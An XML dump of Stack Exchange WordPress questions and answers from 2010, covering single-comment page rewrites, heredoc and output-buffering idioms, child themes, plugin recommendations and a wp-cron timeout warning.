  <row Id="277" PostTypeId="1" AcceptedAnswerId="278" CreationDate="2010-08-12T22:22:55.547" Score="2" ViewCount="363" Body="&lt;p&gt;I'd like to show post comments on their own page without the parent post.  I know I can use wp_list_comments() on the single post page and pass a callback function to use my own comment display markup.  I plan to do this so I can include a link with each comment that will show that comment on it's own page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this weren't WordPress I'd use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href = &quot; www.example.com/individual_comment.php?comment_id = $comment_id&quot;&amp;gt;View single comment&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and grab the $comment_id from the query string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would that link look like in WordPress?  ie: what string would I include to get directly to, let's say, my_comments.php where I call get_comment($comment_id) and comment_template()?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href = &quot;&amp;lt;?php bloginfo('url');?&amp;gt;/what/goes/here?comment_id = $comment_id&quot;&amp;lt;View single comment&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditorDisplayName="" LastEditDate="2010-08-13T17:11:44.483" LastActivityDate="2010-08-13T17:11:44.483" Title="Linking to Page Showing Only Comments Without Parent Post" Tags="&lt;comments&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="278" PostTypeId="2" ParentId="277" CreationDate="2010-08-12T22:28:42.220" Score="1" ViewCount="" Body="&lt;p&gt;You could probably just create a new page in WordPress, and give that page a custom template.  Then the url would just be whatever it normally would be to get to that page.  The only difference is that the custom template you are using would be setup to accept the comment_id via the querystring, and then just get the details for the specific comment, and in the template code echo out the details of the comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you have a page in wordpress called &quot;Comment Details&quot; that you create, you could access that page via &lt;a href=&quot;http://www.domain.com/comment-details&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com/comment-details&lt;/a&gt;  (assuming you have permalinks enabled).  So your link would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href = &quot;&amp;lt;?php bloginfo('url');?&amp;gt;/comment-details?comment_id=$comment_id&quot;&amp;gt;View single comment&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;Comment Details&quot; page would be set up to use a custom template that would contain the code to spit out the details.&lt;/p&gt;&#xA;" OwnerUserId="134" LastActivityDate="2010-08-12T22:28:42.220" />
  <row Id="279" PostTypeId="2" ParentId="272" CreationDate="2010-08-12T22:34:02.247" Score="1" ViewCount="" Body="&lt;p&gt;Checkout this function for PHP:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/function.ob-start.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/function.ob-start.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can buffer an included file which would just contain html code in it, into a php variable.  This will make it cleaner to maintain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you end up with something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob_start();&#xA;   include('path/to/my/html/file.php');&#xA;   $includedhtml = ob_get_contents();&#xA;ob_end_clean();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can just return $includedhtml where you need it and it keeps your html content seperate from having to echo it all out inside of php strings.&lt;/p&gt;&#xA;" OwnerUserId="134" LastActivityDate="2010-08-12T22:34:02.247" />
  <row Id="280" PostTypeId="2" ParentId="272" CreationDate="2010-08-12T22:40:19.803" Score="3" ViewCount="" Body="&lt;p&gt;@Byran M. I tend to use two constructs I don't often see other WordPress developers using often, which surprises me, but I like them a lot.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1.) Heredocs&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can store large blocks of text as &lt;a href=&quot;http://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.heredoc&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;heredocs&lt;/strong&gt;&lt;/a&gt; string that might look like this so I can store worrying about mixing single and double quotes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   $html=&amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;input type=&quot;{$type}&quot; size=&quot;{$size}&quot; id=&quot;{$id}&quot; class=&quot;{$class}&quot; value=&quot;{$value}&quot; /&amp;gt;&#xA;HTML;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the variables might be passed to a function as an array and then &lt;code&gt;extract()&lt;/code&gt;ed or you could assign them in other ways. Also note that I use the braces not because they are always required but they make the code easier to read. (Of course with functions like &lt;code&gt;the_content()&lt;/code&gt; being materially different from &lt;code&gt;get_the_content()&lt;/code&gt; WordPress doesn't always make this style of coding easy.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's more, although it may not be relevant to you is if I use heredoc names like HTML, SQL, etc. then my IDE &lt;a href=&quot;http://www.jetbrains.com/phpstorm/&quot; rel=&quot;nofollow&quot;&gt;PhpStorm&lt;/a&gt; does syntax injection and will give me autocomplete and syntax coloring within the heredoc. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2.) String Concatenation using an Array&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The other idiom I like to use is to collect the content into an array and then &lt;code&gt;implode()&lt;/code&gt; the array. Although I've never benchmarked this so it could be less helpful than I assume I do know that repeated string concatenation is a killer as strings get larger (if anyone knows why this approach isn't any better or if you know a better approach I'd love to hear feedback):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_get_form_and_fields($input_items) {&#xA;    $html = array();&#xA;    $html[] = '&amp;lt;form name=&quot;my_form&quot; method=&quot;get&quot;&amp;gt;';&#xA;    foreach($input_items as $input_item) {&#xA;        extract($input_item);&#xA;        $html=&amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;input type=&quot;{$type}&quot; size=&quot;{$size}&quot; id=&quot;{$id}&quot; class=&quot;{$class}&quot; value=&quot;{$value}&quot; /&amp;gt;&#xA;HTML;&#xA;    $html[] = '&amp;lt;/form&amp;gt;';&#xA;    return implode(&quot;\n&quot;,$html);         &#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-12T22:40:19.803" CommentCount="2" />
  <row Id="281" PostTypeId="2" ParentId="277" CreationDate="2010-08-13T00:37:17.960" Score="10" ViewCount="" Body="&lt;p&gt;There are numerous different ways to accomplish this, some more polished than others and practically all of them with potential for conflict with other plugins, but ignoring all that here's one way that is pretty close to what you asked for. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This solution will support a URL format like the following where &lt;code&gt;%comment_id%&lt;/code&gt; is the numeric ID of your comment from the &lt;code&gt;wp_comments&lt;/code&gt; table:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://example.com/comments/%comment_id%/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/comments/%comment_id%/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;First you'll need to configure your URL rewriting using the following code. Hopefully it is reasonably self-explanitory but don't hesitate to ask:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp-&amp;gt;add_query_var('comment_id');  // Add the &quot;behind-the-scenes&quot; query variable that WordPress will use&#xA;$wp_rewrite-&amp;gt;add_rewrite_tag('%comment_id%', '([0-9]+)','comment_id=');  // Define a rewrite tag to match that assigns to the query var &#xA;$wp_rewrite-&amp;gt;add_permastruct('comment-page', 'comments/%comment_id%');   // Define a URL pattern to match the rewrite tag.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll also either need to call this code in a plugin activation hook to flush the rules, or if it's your site you can just save permalinks in the admin console's &lt;em&gt;Settings &gt; Permalinks&lt;/em&gt; settings area:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_rewrite;&#xA;$wp_rewrite-&amp;gt;flush_rules(false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next add a &lt;code&gt;parse_query&lt;/code&gt; filter hook. This will be called after WordPress has inspected the query. It tests to see if your added &lt;code&gt;comment_id&lt;/code&gt; query_var set and if so it tests to see if you are on the desired URL. If yes then it loads the comment array using &lt;code&gt;get_comment()&lt;/code&gt; in order to set the &lt;code&gt;'p'&lt;/code&gt; parameter (which should be set to a post ID) to the post that is related to the comment. That way when WordPress runs the query that it is going to run no matter what &lt;em&gt;at least&lt;/em&gt; it loads something you'll need in your &lt;code&gt;comment.php&lt;/code&gt; theme template file below and you won't have to ran another query later when you need it. This code also tells WordPress to ignore sticky posts using the oddly named &lt;code&gt;caller_get_posts&lt;/code&gt; option:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'parse_query', 'my_parse_query' );&#xA;function my_parse_query( $query ) {&#xA;    global $wp;&#xA;    if (isset($query-&amp;gt;query['comment_id']) &amp;amp;&amp;amp; substr($wp-&amp;gt;request,0,9)=='comments/') { &#xA;        $comment = get_comment($query-&amp;gt;query['comment_id']);&#xA;        $query-&amp;gt;query_vars['p'] =  $comment-&amp;gt;comment_post_ID; // Causes the comment's post to be loaded by the query.&#xA;        $query-&amp;gt;query_vars['caller_get_posts'] = true;  // Keeps sticky posts from invading into the top of our query.&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Still next you'll need to hook the code in &lt;code&gt;/wp-includes/template-loader.php&lt;/code&gt; using the &lt;code&gt;template_include&lt;/code&gt; filter. This will be called after WordPress has both inspected the query and loaded the post for the comment. Here you'll first check again for &lt;code&gt;comment_id&lt;/code&gt; in the query_var and also for the URL being the one you want. If so we replace the &lt;code&gt;/index.php&lt;/code&gt; template page with &lt;code&gt;/comment.php&lt;/code&gt; which is a theme template file you will need to create:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'template_include', 'my_template_include' );&#xA;function my_template_include( $template ) {&#xA;    global $wp,$wp_query;&#xA;    if (isset($wp_query-&amp;gt;query['comment_id']) &amp;amp;&amp;amp; substr($wp-&amp;gt;request,0,9)=='comments/') {&#xA;        $template = str_replace('/index.php','/comment.php',$template);&#xA;    }&#xA;    return $template;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lastly now you need to create your theme template file which I've chosen to call &lt;code&gt;/comment.php&lt;/code&gt;. Since it's your theme you'll want to make it look like you want but here is an example to get you started:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;/*&#xA; *  File: /wp-content/themes/my-theme/comment.php&#xA; */ &#xA;global $wp_query,$post;&#xA;$comment_id = $wp_query-&amp;gt;query['comment_id'];&#xA;$comment = get_comment($comment_id);&#xA;$permalink = get_permalink($post-&amp;gt;ID);&#xA;get_header();&#xA;?&amp;gt;&#xA;&amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;comment-&amp;lt;?php echo $comment_id; ?&amp;gt;&quot; class=&quot;comment&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;Comment by: &amp;lt;span class=&quot;comment-author&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php echo $comment-&amp;gt;comment_author_url; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $comment-&amp;gt;comment_author; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;            on &amp;lt;span class=&quot;comment-date&quot;&amp;gt;&amp;lt;?php echo date(&quot;D M jS Y&quot;, strtotime($comment-&amp;gt;comment_date)); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;          at &amp;lt;span class=&quot;comment-time&quot;&amp;gt;&amp;lt;?php echo date(&quot;h:ia&quot;, strtotime($comment-&amp;gt;comment_date)); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;About: &amp;lt;a href=&quot;&amp;lt;?php echo $permalink; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $post-&amp;gt;post_title; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;blockquote&amp;gt;&amp;lt;?php echo $comment-&amp;gt;comment_content; ?&amp;gt;&amp;lt;/blockquote&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php &#xA;get_sidebar();&#xA;get_footer();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any questions?  Just ask.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. All of the code I describing above can either go in your theme's &lt;code&gt;functions.php&lt;/code&gt; file and/or in a plugin of your own. A caveat is for the URL rewrite flushing rules that should go in a plugin activation hook if you are going to include it instead us just flushing them manually in the permalinks section of the admin console. I didn't show how to register an activation hook do but if you want to learn more you can read about it &lt;a href=&quot;http://funcdoc.wordpress.com/2008/01/08/writing-plugins-activation-and-deactivation/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-13T00:37:17.960" CommentCount="4" />
  <row Id="282" PostTypeId="2" ParentId="143" CreationDate="2010-08-13T00:41:03.290" Score="0" ViewCount="" Body="&lt;p&gt;You can start your own theme from scratch or you can use existing theme frameworks like Thematic ( &lt;a href=&quot;http://themeshaper.com/thematic/&quot; rel=&quot;nofollow&quot;&gt;http://themeshaper.com/thematic/&lt;/a&gt; ) and develop your theme around them. If you want to develop the entire theme from scratch &lt;a href=&quot;http://codex.wordpress.org/Theme_Development&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Theme_Development&lt;/a&gt; and other resources like the Wordpress Codex may prove to be very useful. &lt;a href=&quot;http://www.wpdesigner.com/2007/02/19/so-you-want-to-create-wordpress-themes-huh/&quot; rel=&quot;nofollow&quot;&gt;http://www.wpdesigner.com/2007/02/19/so-you-want-to-create-wordpress-themes-huh/&lt;/a&gt; is also a very great Wordpress theme creation tutorial for beginners.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2010-08-13T00:41:03.290" />
  <row Id="283" PostTypeId="2" ParentId="273" CreationDate="2010-08-13T01:02:11.267" Score="0" ViewCount="" Body="&lt;p&gt;The first thing you should do is set up a development version of your website that you can break with impunity. Then just try upgrading it. If it works, great! If not, it may be just small changes that are necessary to get it working. You can have a great degree of certainty about compatibility, but it's hard to be 100% sure. It's always easier to work backwards from an error than to try to preempt every possible error.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-13T01:02:11.267" />
  <row Id="284" PostTypeId="2" ParentId="261" CreationDate="2010-08-13T01:53:52.783" Score="0" ViewCount="" Body="&lt;p&gt;Being a code monkey, I prefer to do my blogging using the BlogMate bundle in TextMate (a Mac OSX programmer's text editor).  It's not for everyone, I know (not free, not anywhere near WYSIWYG), but for someone who spends 8-10 hours a day in TextMate it's just so easy to open a new window, and start typing.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2010-08-13T01:53:52.783" CommunityOwnedDate="2010-08-13T01:53:52.783" />
  <row Id="285" PostTypeId="2" ParentId="52" CreationDate="2010-08-13T02:13:15.653" Score="1" ViewCount="" Body="&lt;p&gt;The main cause I've seen for this is incompatible plugins.  Via FTP, either download and delete all your plugins, or rename the existing plugins folder to plugins-old (or whatever) and make a new plugins folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this, copy your plugins from the old folder to the new folder one by one until the problem reappears.  At that point, you have your culprit.  Look for an updated version (after deleting the offending plugin from the new plugins folder so you can log in) of the offending plugin and go from there.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2010-08-13T02:13:15.653" />
  <row Id="286" PostTypeId="2" ParentId="273" CreationDate="2010-08-13T02:38:25.220" Score="3" ViewCount="" Body="&lt;p&gt;I will recommend using &lt;a href=&quot;http://magicfields.org/&quot; rel=&quot;nofollow&quot;&gt;Magic Fields&lt;/a&gt; - which is a fork of and built on Flutter and still under development. The latest version there says that it suports WP 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that you should also be able to migrate the data that you have on Flutter to Magic Fields.&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2010-08-13T02:38:25.220" />
  <row Id="287" PostTypeId="2" ParentId="266" CreationDate="2010-08-13T03:02:30.247" Score="5" ViewCount="" Body="&lt;p&gt;I think we also need a few more features:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Minifying JS, CSS and the HTML that is being sent down the wire.&lt;/li&gt;&#xA;&lt;li&gt;Caching the op-code of the PHP that will be generated (apart from Memcached).&lt;/li&gt;&#xA;&lt;li&gt;Upload the JS, CSS and Images that are used in the theme and/or plugin to a CDN and sync automatically.&lt;/li&gt;&#xA;&lt;li&gt;Option to use one of the public CDN netwoks like Google for common resources like jQuery.&lt;/li&gt;&#xA;&lt;li&gt;Offer a common CDN for all the WordPress admin scripts and images (which should be the exact same on multiple installations of WordPress) so that I can have that work just a little faster.&lt;/li&gt;&#xA;&lt;li&gt;Managed DNS - To ensure that they can restore a backup of your site on another location automatically in case they have issues with the current hardware. With this they can automatically switch your domains over to the new settings.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="81" LastActivityDate="2010-08-13T03:02:30.247" CommunityOwnedDate="2010-08-13T03:02:30.247" CommentCount="3" />
  <row Id="288" PostTypeId="1" AcceptedAnswerId="982" CreationDate="2010-08-13T03:30:27.757" Score="1" ViewCount="350" Body="&lt;p&gt;What would be your suggestions for learning CSS and WordPress theme development ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been using WordPress for over 4 years now, but I have never really gotten comfortable with CSS or theme design (I could tweak it here and there, but that's not really doing much).&#xA;I would love to be able to do these, but don't know where to start.  Most guides I came across are not WP specific, and I fear I'd go through redundant material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="94" LastEditorDisplayName="" LastEditDate="2010-08-13T06:29:32.117" LastActivityDate="2011-02-22T17:22:24.710" CommunityOwnedDate="2010-08-13T03:30:43.063" Title="How to start learning CSS and theme development?" Tags="&lt;themes&gt;&lt;theme-development&gt;&lt;css&gt;" AnswerCount="7" FavoriteCount="1" />
  <row Id="289" PostTypeId="2" ParentId="288" CreationDate="2010-08-13T03:37:47.963" Score="3" ViewCount="" Body="&lt;p&gt;As far as CSS goes, there isn't a whole lot of WordPress specific stuff in this area. Go to &lt;a href=&quot;http://w3schools.com&quot; rel=&quot;nofollow&quot;&gt;w3schools&lt;/a&gt; and go through their tutorials. As far as learning how to build a theme, the two best resources I can recommend are the codex's &lt;a href=&quot;http://codex.wordpress.org/Developer_Documentation#Theme_Development&quot; rel=&quot;nofollow&quot;&gt;theme developer section&lt;/a&gt; and the default theme (as of now, Twenty Ten). Read through the &lt;a href=&quot;http://codex.wordpress.org/Theme_Development&quot; rel=&quot;nofollow&quot;&gt;Theme Development&lt;/a&gt; page and the &lt;a href=&quot;http://codex.wordpress.org/Templates&quot; rel=&quot;nofollow&quot;&gt;Templates&lt;/a&gt; page to get a good basic understanding. Then, just read through the source code of the default theme, using the developer docs (especially the &lt;a href=&quot;http://codex.wordpress.org/Template_Tags&quot; rel=&quot;nofollow&quot;&gt;Template Tags&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference&quot; rel=&quot;nofollow&quot;&gt;Function Reference&lt;/a&gt; pages) as a reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helped!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-13T03:37:47.963" CommunityOwnedDate="2010-08-13T03:37:47.963" />
  <row Id="290" PostTypeId="1" AcceptedAnswerId="291" CreationDate="2010-08-13T06:25:56.757" Score="9" ViewCount="629" Body="&lt;p&gt;I have found and downloaded a theme. However I want to tweak the CSS some to change the design, colours etc. a bit. How should I go about doing this, while still being able to update the theme without loosing the changes. &lt;/p&gt;&#xA;" OwnerUserId="94" LastEditorUserId="94" LastEditorDisplayName="" LastEditDate="2010-09-06T12:11:16.497" LastActivityDate="2010-09-06T12:11:16.497" Title="Customizing a WordPress theme without changing it?" Tags="&lt;themes&gt;&lt;css&gt;&lt;customization&gt;&lt;update&gt;" AnswerCount="3" FavoriteCount="6" />
  <row Id="291" PostTypeId="2" ParentId="290" CreationDate="2010-08-13T06:50:21.297" Score="15" ViewCount="" Body="&lt;p&gt;While you can't modify it without changing it, you can isolate the parts you change by creating a Child Theme. In summary:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a theme directory on peer with your &quot;parent&quot; theme,&lt;/li&gt;&#xA;&lt;li&gt;Create a &lt;code&gt;style.css&lt;/code&gt; file in your new directory that has a &lt;code&gt;Template:&lt;/code&gt; declaration in the comments naming your parent theme and an &lt;code&gt;@import url(../%parent-theme%/style.css)&lt;/code&gt; to import the CSS from the parent theme,&lt;/li&gt;&#xA;&lt;li&gt;Activate your new theme in the WordPress admin console,&lt;/li&gt;&#xA;&lt;li&gt;Add new files and/or copy files from your parent theme directory to your child theme directory and modify them to your preference, and &lt;/li&gt;&#xA;&lt;li&gt;That's it!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I could give you lots more details but basically this guy does a really good job of explaining &lt;a href=&quot;http://op111.net/53&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;How to Create a Child Theme&lt;/strong&gt;&lt;/a&gt; so better for me just to point you to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want to upgrade the parent theme just upgrade; it will leave your child theme in-tact. Of course your child theme may not work perfectly if they've changed the parent too much and/or if you copied and modified theme files they updated in the new version you won't get the new functionality without modifying them too, but it's a lot better from starting over each time!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-13T06:50:21.297" CommentCount="2" />
  <row Id="292" PostTypeId="2" ParentId="273" CreationDate="2010-08-13T06:59:14.007" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://magicfields.org&quot; rel=&quot;nofollow&quot;&gt;Magic Fields&lt;/a&gt; is very similar to flutter and is compatible with  WordPress 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If do you want switch between flutter to magic  fields  you have  here a little help  for do it &lt;a href=&quot;http://magicfields.org/script-for-migrate-from-flutter-v-1-1-and-1-0/&quot; rel=&quot;nofollow&quot;&gt;http://magicfields.org/script-for-migrate-from-flutter-v-1-1-and-1-0/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2010-08-13T06:59:14.007" CommentCount="1" />
  <row Id="293" PostTypeId="1" AcceptedAnswerId="661" CreationDate="2010-08-13T09:04:45.827" Score="6" ViewCount="242" Body="&lt;p&gt;I turned on debug mode in Wordpress and the first request of the day I get this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: http_request() [function.http-request]: Timeout was reached; Operation timed out after 1000 milliseconds with 0 bytes received (/wp-cron.php?doing_wp_cron) in /public/wp-includes/class-http.php on line 1218&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know what cron jobs are and I understand how Wordpress might want to run periodic jobs (and since HTTP is stateless, running a &quot;cron&quot; job on the first request of the day makes sense) but why does it time out?&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2010-08-20T21:49:37.013" Title="Why do I get the timeout warning?" Tags="&lt;3.0&gt;&lt;errors&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="294" PostTypeId="2" ParentId="251" CreationDate="2010-08-13T09:18:31.837" Score="1" ViewCount="" Body="&lt;p&gt;I believe the only way to currently get around this is to not directly use Art Direction but replicate that functionality yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few pages that talk you through doing that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://digwp.com/2010/02/custom-css-per-post/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2010/02/custom-css-per-post/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/support/topic/plugin-art-direction-conflict-with-wp-super-cache&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/plugin-art-direction-conflict-with-wp-super-cache&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2010-08-13T09:18:31.837" CommentCount="1" />
  <row Id="295" PostTypeId="1" AcceptedAnswerId="376" CreationDate="2010-08-13T10:06:55.427" Score="3" ViewCount="63" Body="&lt;p&gt;I am using &lt;a href=&quot;http://wordpress.org/extend/plugins/similarity/&quot; rel=&quot;nofollow&quot;&gt;Similarity&lt;/a&gt; by David Miller; it is nice, but it misses some features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Assign more &quot;weight&quot; on some specific posts (specify them by ID is ok)&lt;/li&gt;&#xA;&lt;li&gt;Assign more &quot;weight&quot; to most recent posts (the plugin that I am using it prefers many times very old posts based on tag/category than recent)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Do you known if it exists a plugin with these features?&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-13T18:56:26.657" LastActivityDate="2010-08-15T20:33:02.177" Title="Looking for similar posts plugin with custom tuning" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="296" PostTypeId="1" AcceptedAnswerId="298" CreationDate="2010-08-13T10:21:24.727" Score="0" ViewCount="66" Body="&lt;p&gt;I am already using Piwik to register all stats of my blog site. What I need now is a simple and lightweight plugin that stores the number of visitors for single posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be nice if it provides a way to show the number of readings inside the post.&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-13T18:56:06.530" LastActivityDate="2010-08-13T18:56:06.530" Title="Looking for simple and lightweight plugin for post reading stats" Tags="&lt;stats&gt;&lt;plugin-recommendation&gt;" AnswerCount="2" />
  <row Id="297" PostTypeId="2" ParentId="296" CreationDate="2010-08-13T10:35:13.560" Score="1" ViewCount="" Body="&lt;p&gt;Well, the mother of all analytics solutions is &lt;a href=&quot;http://www.google.com/analytics&quot; rel=&quot;nofollow&quot;&gt;google analytics&lt;/a&gt;. There's a great plugin used to get google analytics called &lt;a href=&quot;http://wordpress.org/extend/plugins/google-analytics-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Google Analytics for WordPress&lt;/a&gt;. If that doesn't strike your fancy, you can always use &lt;a href=&quot;http://wordpress.org/extend/plugins/stats/&quot; rel=&quot;nofollow&quot;&gt;WordPress.com Stats&lt;/a&gt;, which gives you information on where your visitors are coming from, what they're looking at, and what links they click off of your site.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-13T10:35:13.560" CommentCount="2" />
  <row Id="298" PostTypeId="2" ParentId="296" CreationDate="2010-08-13T13:10:38.010" Score="3" ViewCount="" Body="&lt;p&gt;I think you want &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-postviews/&quot; rel=&quot;nofollow&quot;&gt;wp-postviews&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2010-08-13T13:10:38.010" CommentCount="1" />
  <row Id="299" PostTypeId="1" CreationDate="2010-08-13T14:12:40.437" Score="5" ViewCount="505" Body="&lt;p&gt;At times I've tried a few different solutions for a WordPress-powered photo gallery. There are lots of options, including &lt;a href=&quot;http://wordpress.org/extend/plugins/nextgen-gallery/&quot; rel=&quot;nofollow&quot;&gt;plugins&lt;/a&gt; and custom post types. Theme matters a lot, here. &lt;a href=&quot;http://ma.tt/category/gallery/&quot; rel=&quot;nofollow&quot;&gt;ma.tt&lt;/a&gt; has a pretty impressive setup (as you would expect from the creator of WordPress), though I'm not sure where all the magic comes from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, have you implemented a gallery? Did you use built-in functionality, or are there some plugins you found helpful? What sorts of challenges did you face, e.g., needing to pick a focus/highlight image to represent the set.&lt;/p&gt;&#xA;" OwnerUserId="66" LastEditorUserId="145" LastEditorDisplayName="" LastEditDate="2010-08-14T05:05:22.113" LastActivityDate="2011-07-20T13:24:17.060" CommunityOwnedDate="2010-08-13T14:12:40.437" Title="Creating a photo gallery in WordPress" Tags="&lt;gallery&gt;" AnswerCount="9" FavoriteCount="4" />
